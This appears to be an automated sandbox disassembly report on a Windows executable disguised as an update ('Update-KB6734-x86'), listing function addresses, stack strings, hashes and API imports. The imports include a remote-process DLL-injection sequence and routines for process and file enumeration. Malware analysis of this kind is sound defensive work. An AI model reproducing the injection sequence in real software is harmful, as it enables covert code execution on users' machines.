0x004108e9
0x004108ee
0x004108f3
0x004108f8
0x004108fd
0x004108ff
0x00410910
0x00410914
0x00410918
0x0041091c
0x0041091d
0x00410921
0x00410922
0x00410937
0x0041093f
0x0041094f
0x00410953
0x00410957
0x0041095b
0x00410960
0x00410965
0x0041096a
0x0041096f
0x00410974
0x00410979
0x0041097e
0x00410983
0x00410985
0x00410990
0x00410994
0x00410998
0x0041099c
0x0041099d
0x004109a1
0x004109a2
0x004109ae
0x004109b7
0x004109bf
0x004109c3
0x004109cf
0x004109d7
0x004109df
0x004109ef
0x004109f3
0x004109f7
0x004109fb
0x00410a00
0x00410a05
0x00410a0a
0x00410a0f
0x00410a14
0x00410a19
0x00410a1b
0x00410a20
0x00410a24
0x00410a28
0x00410a2c
0x00410a2d
0x00410a31
0x00410a32
0x00410a47
0x00410a4f
0x00410a5f
0x00410a65
0x00410a6d
0x00410a71
0x00410a7a
0x00410a81
0x00410a8a
0x00410a8f
0x00410a93
0x00410a9a
0x00410aa2
0x00410aaa
0x00410ab2
0x00410aba
0x00410ac2
0x00410aca
0x00410ad2
0x00410ada
0x00410ae2
0x00410aea
0x00410af2
0x00410afa
0x00410b02
0x00410b0a
0x00410b12
0x00410b1a
0x00410b22
0x00410b2a
0x00410b32
0x00410b3a
0x00410b3f
0x00410b44
0x00410b49
0x00410b4e
0x00410b53
0x00410b58
0x00410b5d
0x00410b62
0x00410b67
0x00410b6c
0x00410b71
0x00410b75
0x00410b7a
0x00410b7f
0x00410b84
0x00410b89
0x00410b8d
0x00410b92
0x00410b97
0x00410ba1
0x00410ba7
0x00410baf
0x00410bb7
0x00410bbf
0x00410bc6
0x00410bce
0x00410bd6
0x00410bde
0x00410be6
0x00410bed
0x00410bf7
0x00410c00
0x00410c02
0x00410c09
0x00410c10
0x00410c19
0x00410c21
0x00410c29
0x00410c31
0x00410c39
0x00410c41
0x00410c49
0x00410c51
0x00410c59
0x00410c61
0x00410c69
0x00410c71
0x00410c79
0x00410c7e
0x00410c82
0x00410c87
0x00410c8c
0x00410c91
0x00410c96
0x00410c9b
0x00410ca0
0x00410ca4
0x00410ca9
0x00410cae
0x00410cb3
0x00410cb8
0x00410cbd
0x00410cc2
0x00410cc6
0x00410ccb
0x00410cd0
0x00410cd5
0x00410cda
0x00410cdf
0x00410ce4
0x00410ced
0x00410cf1
0x00410cf6
0x00410cfa
0x00410cfe
0x00410d03
0x00410d08
0x00410d0d
0x00410d12
0x00410d17
0x00410d1c
0x00410d21
0x00410d26
0x00410d2b
0x00410d30
0x00410d35
0x00410d3a
0x00410d3f
0x00410d43
0x00410d48
0x00410d4c
0x00410d51
0x00410d56
0x00410d5b
0x00410d60
0x00410d65
0x00410d6a
0x00410d6f
0x00410d74
0x00410d79
0x00410d7e
0x00410d80
0x00410d84
0x00410d88
0x00410d8c
0x00410d8d
0x00410d91
0x00410d92
0x00410d96
0x00410d98
0x00410da0
0x00410dae
0x00410db8
0x00410dbc
0x00410dbf
0x00410dc4
0x00410dca
0x00410dcf
0x00410dd4
0x00410dd9
0x00410dde
0x00410de3
0x00410de8
0x00410ded
0x00410df2
0x00410df7
0x00410dfc
0x00410e01
0x00410e06
0x00410e0b
0x00410e10
0x00410e15
0x00410e1e
0x00410e2a
0x00410e2e
0x00410e32
0x00410e42
0x00410e47
0x00410e4c
0x00410e51
0x00410e56
0x00410e5b
0x00410e60
0x00410e65
0x00410e6a
0x00410e6f
0x00410e74
0x00410e79
0x00410e7e
0x00410e83
0x00410e88
0x00410e8d
0x00410e91
0x00410e95
0x00410e99
0x00410e9d
0x00410ea1
0x00410eaf
0x00410eb3
0x00410eb5
0x00410eb8
0x00410eb8
0x00410eba
0x00410ebb
0x00410ee4

Strings

K, xrefs: 00410B1A
m, xrefs: 00410974
p, xrefs: 00410979
o, xrefs: 00410E6A
l, xrefs: 00410B49
&, xrefs: 00410D6F
N, xrefs: 00410AAA
X, xrefs: 00410AEA
[, xrefs: 00410AA2
R, xrefs: 00410DE3
m, xrefs: 00410B62
s, xrefs: 00410C51
, xrefs: 00410C59
d, xrefs: 00410E6F
1, xrefs: 00410DCF
, xrefs: 00410E74
o, xrefs: 00410E65
`, xrefs: 00410AF2
0, xrefs: 00410C21
x, xrefs: 00410BA7
r, xrefs: 00410E56
x, xrefs: 00410D79
o, xrefs: 00410C49
r, xrefs: 00410E47
6, xrefs: 00410AC2
L, xrefs: 00410B0A
G, xrefs: 00410E60
c, xrefs: 00410D03
y, xrefs: 00410D3A
I, xrefs: 004108F3
<, xrefs: 00410D26
%, xrefs: 00410ABA
;, xrefs: 00410DE8
a, xrefs: 00410E7E
d, xrefs: 00410B58
l, xrefs: 00410C31
o, xrefs: 00410E51
S, xrefs: 00410D60
<, xrefs: 00410B7A
E, xrefs: 00410E42
6, xrefs: 00410BED
H, xrefs: 004108E4
B, xrefs: 00410ADA
O, xrefs: 00410960
*, xrefs: 00410D21
r, xrefs: 00410B67
{O, xrefs: 004109AE
o, xrefs: 00410B7F
d, xrefs: 00410E79
y, xrefs: 00410E83
c, xrefs: 00410BB7
r, xrefs: 00410E4C
d, xrefs: 00410B3F
Ax`B, xrefs: 00410C02, 00410C14
A, xrefs: 00410DD9
, xrefs: 00410B53

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$H$I$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2256030295
Opcode ID: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
Instruction ID: 43956b3c6462715040061548aa2c3e0b9dcfe60922f62804308211c4145eee04
Opcode Fuzzy Hash: da0bcaadc6d3e6a73930e08e3bb51312d0306c4b7cb00b51c7135d2fd64d93b4
Instruction Fuzzy Hash: C312C02010D7C18DD362867C949878FFFD11BE7228F585A9DF1E84A3E3C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 00411800, Relevance: 67.9, Strings: 54, Instructions: 399COMMON

Download Yara Rule

Strings

g, xrefs: 00411D3A
d, xrefs: 00411969
H, xrefs: 00411964
d, xrefs: 00411E58
t, xrefs: 004119F1
7, xrefs: 00411927
c, xrefs: 00411E4E
s, xrefs: 00411D82
p, xrefs: 00411821
e, xrefs: 004119D2
1, xrefs: 00411DB5
o, xrefs: 00411B9B
s, xrefs: 00411C44
g, xrefs: 00411C4C
p, xrefs: 00411E61
l, xrefs: 00411D2A
m, xrefs: 00411E53
i, xrefs: 00411E66
b, xrefs: 00411B93
d, xrefs: 00411BBA
r, xrefs: 00411D92
t, xrefs: 004119AB
G, xrefs: 0041196E
d, xrefs: 004119E1
t, xrefs: 00411993
x, xrefs: 00411D64
t, xrefs: 00411D14
m, xrefs: 00411C3C
a, xrefs: 00411D0C
#, xrefs: 0041190F
x, xrefs: 004119A3
e, xrefs: 0041199B
e, xrefs: 00411C0B
^, xrefs: 00411835
e, xrefs: 00411D6C
l, xrefs: 004119CA
d, xrefs: 00411D04
d, xrefs: 00411BA3
a, xrefs: 004119E9
a, xrefs: 004119F9
f, xrefs: 00411E6B
-, xrefs: 00411C5B
i, xrefs: 004118F7
}, xrefs: 00411A8A
y, xrefs: 00411BAB
|, xrefs: 00411917
C, xrefs: 004118FF
e, xrefs: 00411D5C
f, xrefs: 004119BA
c, xrefs: 00411D8A
P, xrefs: 00411C27
i, xrefs: 004119C2
L, xrefs: 0041183A
o, xrefs: 00411D32

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: #$-$1$7$C$G$H$L$P$^$a$a$a$b$c$c$d$d$d$d$d$d$e$e$e$e$e$f$f$g$g$i$i$i$l$l$m$m$o$o$p$p$r$s$s$t$t$t$t$x$x$y$|$}
API String ID: 0-2094285404
Opcode ID: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
Instruction ID: f91fdec992fe17677b43e0b7d472141b995edb7bc8f57b37002556bdc30744f2
Opcode Fuzzy Hash: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
Instruction Fuzzy Hash: 4822022110D7C18DE3328B38945479BBFD21FE7218F185E9EE5E84B3A2C6B58109DB67

Uniqueness

Uniqueness Score: -1.00%

Function 00410907, Relevance: 67.8, Strings: 54, Instructions: 336COMMON

Download Yara Rule

Strings

K, xrefs: 00410B1A
m, xrefs: 00410974
p, xrefs: 00410979
o, xrefs: 00410E6A
l, xrefs: 00410B49
&, xrefs: 00410D6F
N, xrefs: 00410AAA
X, xrefs: 00410AEA
[, xrefs: 00410AA2
R, xrefs: 00410DE3
m, xrefs: 00410B62
s, xrefs: 00410C51
, xrefs: 00410C59
d, xrefs: 00410E6F
1, xrefs: 00410DCF
, xrefs: 00410E74
o, xrefs: 00410E65
`, xrefs: 00410AF2
0, xrefs: 00410C21
x, xrefs: 00410BA7
r, xrefs: 00410E56
x, xrefs: 00410D79
o, xrefs: 00410C49
r, xrefs: 00410E47
6, xrefs: 00410AC2
L, xrefs: 00410B0A
G, xrefs: 00410E60
c, xrefs: 00410D03
y, xrefs: 00410D3A
<, xrefs: 00410D26
%, xrefs: 00410ABA
;, xrefs: 00410DE8
a, xrefs: 00410E7E
d, xrefs: 00410B58
l, xrefs: 00410C31
o, xrefs: 00410E51
S, xrefs: 00410D60
<, xrefs: 00410B7A
E, xrefs: 00410E42
6, xrefs: 00410BED
B, xrefs: 00410ADA
O, xrefs: 00410960
*, xrefs: 00410D21
r, xrefs: 00410B67
{O, xrefs: 004109AE
o, xrefs: 00410B7F
d, xrefs: 00410E79
y, xrefs: 00410E83
c, xrefs: 00410BB7
r, xrefs: 00410E4C
d, xrefs: 00410B3F
Ax`B, xrefs: 00410C02, 00410C14
A, xrefs: 00410DD9
, xrefs: 00410B53

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2712818868
Opcode ID: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
Instruction ID: 1d3985015a6004c57cc64fd4eab342ec2e216b16199d8406fbd0a1e5bf867d26
Opcode Fuzzy Hash: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
Instruction Fuzzy Hash: 1602B02010D7C18DD362867D949878FFFD11BE7228F585A9DE1E84B3E3C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF30, Relevance: 66.7, Strings: 53, Instructions: 412COMMON

Download Yara Rule

Strings

c, xrefs: 0041025C
., xrefs: 004101B7
2, xrefs: 0041047B
c, xrefs: 00410067
+er, xrefs: 0041043A
N', xrefs: 0040FFBE
., xrefs: 0041005F
x, xrefs: 00410057
m, xrefs: 00410489
a, xrefs: 00410601
], xrefs: 004102A8
^, xrefs: 00410339
y, xrefs: 00410510
f, xrefs: 004104BB
Z, xrefs: 00410294
n, xrefs: 00410040
r, xrefs: 00410471
w, xrefs: 004104C5
e, xrefs: 00410476
e, xrefs: 004103A8
;, xrefs: 004103E8
i, xrefs: 00410038
Y, xrefs: 00410374
@, xrefs: 0041009A
y, xrefs: 00410191
1, xrefs: 004100C7
a, xrefs: 0041046C
a, xrefs: 00410199
P, xrefs: 0041028F
8, xrefs: 004103BC
y, xrefs: 0041024C
H, xrefs: 0041038B
l, xrefs: 0041060B
m, xrefs: 00410076
., xrefs: 00410254
), xrefs: 0041029E
b, xrefs: 00410048
#, xrefs: 00410095
c, xrefs: 004101BF
g, xrefs: 0041022E
a, xrefs: 0041035D
m, xrefs: 004101CE
., xrefs: 00410480
r, xrefs: 004103A3
6, xrefs: 004100A9
4, xrefs: 004104FC
h, xrefs: 004101A1
m, xrefs: 0041026B
w, xrefs: 00410244
|, xrefs: 00410280
i, xrefs: 00410606
0, xrefs: 004102A3
1, xrefs: 004102B2

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: #$)$+er$.$.$.$.$0$1$1$2$4$6$8$;$@$H$N'$P$Y$Z$]$^$a$a$a$a$b$c$c$c$e$e$f$g$h$i$i$l$m$m$m$m$n$r$r$w$w$x$y$y$y$|
API String ID: 0-4186895133
Opcode ID: 0457d87cb6172381257f14a505d1067714eb00389eaa25dabdda14dbf2249052
Instruction ID: d9655f3602fa6a1bb02df14978dde1affe4b5e2ecf171b0ab4337b2ceb98d59a
Opcode Fuzzy Hash: 0457d87cb6172381257f14a505d1067714eb00389eaa25dabdda14dbf2249052
Instruction Fuzzy Hash: B032D02110E7C18DD322973C945879FFFE11BA7218F585E9DE1E88B393C2A68149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040E676, Relevance: 61.6, Strings: 49, Instructions: 320COMMON

Download Yara Rule

Strings

3, xrefs: 0040E915
a, xrefs: 0040E7BD
r, xrefs: 0040EAB6
g, xrefs: 0040E73F
n, xrefs: 0040E9A3
s, xrefs: 0040E7B5
n, xrefs: 0040E833
dualc, xrefs: 0040EC6E
n, xrefs: 0040ECE3
s, xrefs: 0040E9B2
t, xrefs: 0040E964
s, xrefs: 0040ECBB
lmada, xrefs: 0040ED07
r, xrefs: 0040E7D5
e, xrefs: 0040E99B
n, xrefs: 0040E796
o, xrefs: 0040ECDB
l, xrefs: 0040EAC6
r, xrefs: 0040ECD3
e, xrefs: 0040E95C
a, xrefs: 0040E7DD
rebyc, xrefs: 0040ED77
i, xrefs: 0040E78E
S, xrefs: 0040E71F
n, xrefs: 0040E9C2
a, xrefs: 0040E9BA
fna, xrefs: 0040E8D9
<, xrefs: 0040E777
t, xrefs: 0040E96C
n, xrefs: 0040E7C5
C, xrefs: 0040E747
r, xrefs: 0040E9D2
a, xrefs: 0040E9DA
l, xrefs: 0040E786
m, xrefs: 0040E9F9
a, xrefs: 0040EAAE
d, xrefs: 0040E7CD
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
y, xrefs: 0040E974
d, xrefs: 0040E79E
b, xrefs: 0040E954
a, xrefs: 0040E813
o, xrefs: 0040EABE
d, xrefs: 0040E9CA
hyb, xrefs: 0040ED23
a, xrefs: 0040E7A6
h, xrefs: 0040ECC3
a, xrefs: 0040ECCB

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: 3$<$C$I$S$a$a$a$a$a$a$a$a$b$c$d$d$d$dualc$e$e$fna$g$h$hyb$i$l$l$lmada$m$n$n$n$n$n$n$o$o$r$r$r$r$rebyc$s$s$s$t$t$y
API String ID: 0-907914069
Opcode ID: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
Instruction ID: 78c049e7797477cb6e619203f3ba55b69d2c157b8d549aaa0d27a5a6a91e7049
Opcode Fuzzy Hash: 0332521eceea5fd94bb27fe7acd8e7d51adc7a05d74f19a4687ecc626ac915ed
Instruction Fuzzy Hash: 6812BF3440D3C18EE332CB2994547DFBFE16BA6308F088DAED4DD5A292D6B60159CB67

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE00, Relevance: 56.3, APIs: 2, Strings: 30, Instructions: 253timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,0000005D), ref: 0040BE46
GetTimeZoneInformation.KERNEL32(?), ref: 0040BE66

Strings

M, xrefs: 0040C099
K, xrefs: 0040C050
G, xrefs: 0040C04B
?, xrefs: 0040BF9B
e, xrefs: 0040BFA0
n, xrefs: 0040BF82
z, xrefs: 0040C0A8
+, xrefs: 0040C0B7
G, xrefs: 0040BFAF
2, xrefs: 0040BF96
1, xrefs: 0040C0C9
2, xrefs: 0040C0C1
p, xrefs: 0040C08F
4, xrefs: 0040BF38
g, xrefs: 0040BF7D
H, xrefs: 0040BFDF
i, xrefs: 0040C01E
h, xrefs: 0040C0D1
W, xrefs: 0040C02D
), xrefs: 0040C0E8
E, xrefs: 0040BFB4
h, xrefs: 0040BFC3
^, xrefs: 0040C041
Z, xrefs: 0040BF51
m, xrefs: 0040BF73
(, xrefs: 0040C0BC
', xrefs: 0040C0B2
", xrefs: 0040C0AD
U, xrefs: 0040C00B
(, xrefs: 0040BFCD

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Time$InformationLocalZone
String ID: "$'$($($)$+$1$2$2$4$?$E$G$G$H$K$M$U$W$Z$^$e$g$h$h$i$m$n$p$z
API String ID: 93009163-702723632
Opcode ID: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
Instruction ID: f24f2204c30bf8112847402748224eab2bce5a1f2b66652d7b583283150f38f1
Opcode Fuzzy Hash: d4280e2c651efcdaf4adcd37bac95a97bed8fc85061677ef0d98c041c8610d7f
Instruction Fuzzy Hash: DEC1382110D7C189D322C77C948469FFFD15BEB228F584A9DF1E48B3E2C2658549C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00423D83, Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 160stringfileCOMMON

Download Yara Rule

APIs

QueryDosDeviceA.KERNEL32(000000A1,?,00000200), ref: 00423E6D
GetLastError.KERNEL32 ref: 00423E83
lstrcpyA.KERNEL32(?,00000000), ref: 00423E99
lstrcatA.KERNEL32(?,000000A1), ref: 00423EA5
DefineDosDeviceA.KERNEL32 ref: 00423EB3
GetLastError.KERNEL32 ref: 00423EC1
lstrcpyA.KERNEL32(?,000000EC), ref: 00423EE0
lstrcatA.KERNEL32(?,000000A1), ref: 00423EF3
CreateFileA.KERNEL32(?,00000000,00000001,00000000,00000003,00000000,000000FF), ref: 00423F0D
DeviceIoControl.KERNEL32 ref: 00423F2E
GetLastError.KERNEL32 ref: 00423F38
DefineDosDeviceA.KERNEL32 ref: 00423F70
GetLastError.KERNEL32 ref: 00423F7A

Strings

z, xrefs: 00423DB5
T, xrefs: 00423DA1
-, xrefs: 00423DE5
!, xrefs: 00423DB9
e, xrefs: 00423DD1
}, xrefs: 00423DA5
f, xrefs: 00423DF1

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: DeviceErrorLast$Definelstrcatlstrcpy$ControlCreateFileQuery
String ID: !$-$T$e$f$z$}
API String ID: 204970884-3644634782
Opcode ID: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
Instruction ID: beacce81ebdc5a62315d6854d61fdc252875682725b92811e62445d41cf4b898
Opcode Fuzzy Hash: 56c54b7da3f6591e38d1c0b40ab5c6b6fc7a851bac03c90d99fe65f73b77bc95
Instruction Fuzzy Hash: BD61B830A042DDAEDF21CFB99C48ADE7FB49F16320F444295E5A4A62D1C3744706CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406360, Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 151stringfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,747DF990,00000063), ref: 004063AB
lstrcatA.KERNEL32(?,?,?,?,?,?,?,747DF990,00000063), ref: 004063C4
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,747DF990,00000063), ref: 004063D3
GetLastError.KERNEL32(?,?,?,?,?,747DF990,00000063), ref: 004063DF
lstrcmpA.KERNEL32(?,0042E310), ref: 0040640E
lstrcmpA.KERNEL32(?,0042E30C), ref: 0040641E
lstrcpyA.KERNEL32(?,?), ref: 00406440
lstrcatA.KERNEL32(?,?), ref: 00406453
lstrcatA.KERNEL32(?,0042E308), ref: 00406462
lstrcpyA.KERNEL32(?,?,00000063), ref: 004064BB
lstrcatA.KERNEL32(?,?), ref: 004064CE
FindNextFileA.KERNEL32(?,?,00000063), ref: 0040653F
FindClose.KERNEL32(?), ref: 0040655C

Strings

a, xrefs: 004064E7
., xrefs: 004064DD
w, xrefs: 004064E2
b, xrefs: 004064EC
:\, xrefs: 00406517, 00406502, 00406464, 00406467, 00406505, 00406521
., xrefs: 004063A1

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: lstrcat$Findlstrcpy$Filelstrcmp$CloseErrorFirstLastNext
String ID: :\$.$.$a$b$w
API String ID: 1838452084-3178132420
Opcode ID: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
Instruction ID: d91f1d41485bd9133756b8c6267c5f734ad3426634637d29d8fe53ea42b8f97d
Opcode Fuzzy Hash: 26a3c23a68273bf8c967d5a4a1b22617189afc168d45bd22dd0b1123420d9e14
Instruction Fuzzy Hash: CF51F772108384ABC720DB65DC44BDFB7E9AFC8304F40492EF58A97281D779D609CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00401830, Relevance: 29.8, APIs: 4, Strings: 13, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401911
GetLocalTime.KERNEL32(0000005E), ref: 0040191C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401936
CloseHandle.KERNEL32(00000000), ref: 0040193D

Strings

h, xrefs: 004018C3
z, xrefs: 00401883
Y, xrefs: 00401857
4, xrefs: 00401874
^, xrefs: 0040189C
m, xrefs: 004018A1
', xrefs: 0040186F
t, xrefs: 004018D7
F, xrefs: 004018DC
:, xrefs: 00401852
<, xrefs: 004018AF
0, xrefs: 0040188D
x, xrefs: 00401861

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleLocalStringsTime
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 2910088009-759814561
Opcode ID: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
Instruction ID: 9d7d35d6ed35067f5301624282322d6ee0cd526578bc1b9978354d1e4a90c02c
Opcode Fuzzy Hash: a79a7929436da7264a15b6a66c219a1273af2adf041c396046486cd8ebe7c2c0
Instruction Fuzzy Hash: E631EC2110C3C1D9E312DB38984874FBFD15BA7618F488A9DF1E95A2D2C2B99249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00404840, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 95injectionmemorylibraryCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 0040489A
VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048B7
WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048D3
GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 004048EB
GetProcAddress.KERNEL32(00000000), ref: 004048F2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

Strings

BR@, xrefs: 00404896, 004048CD, 00404899, 004048D0
Kernel32, xrefs: 004048E6
LoadLibraryA, xrefs: 004048E1
(, xrefs: 0040492B

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Process$AddressAllocCreateHandleMemoryModuleOpenProcRemoteThreadVirtualWritelstrlen
String ID: ($BR@$Kernel32$LoadLibraryA
API String ID: 3328640463-1592096681
Opcode ID: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
Instruction ID: b8c2f0deb781411a5cbda0f33fd6846fbbcdfb44d071191cfa48344f537f40e7
Opcode Fuzzy Hash: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
Instruction Fuzzy Hash: A831B3B0A40394EFEB208BA98C48B9FBFB9AB96714F14016AF550B62C1C7B44501C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00405090, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139stringprocessCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 004050BF
lstrcatA.KERNEL32(?,0042E308), ref: 0040516B
lstrcatA.KERNEL32(?,?), ref: 0040517A
GetFileAttributesA.KERNEL32(?), ref: 00405184
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004051B7
Process32First.KERNEL32 ref: 004051E9
Process32Next.KERNEL32 ref: 00405259

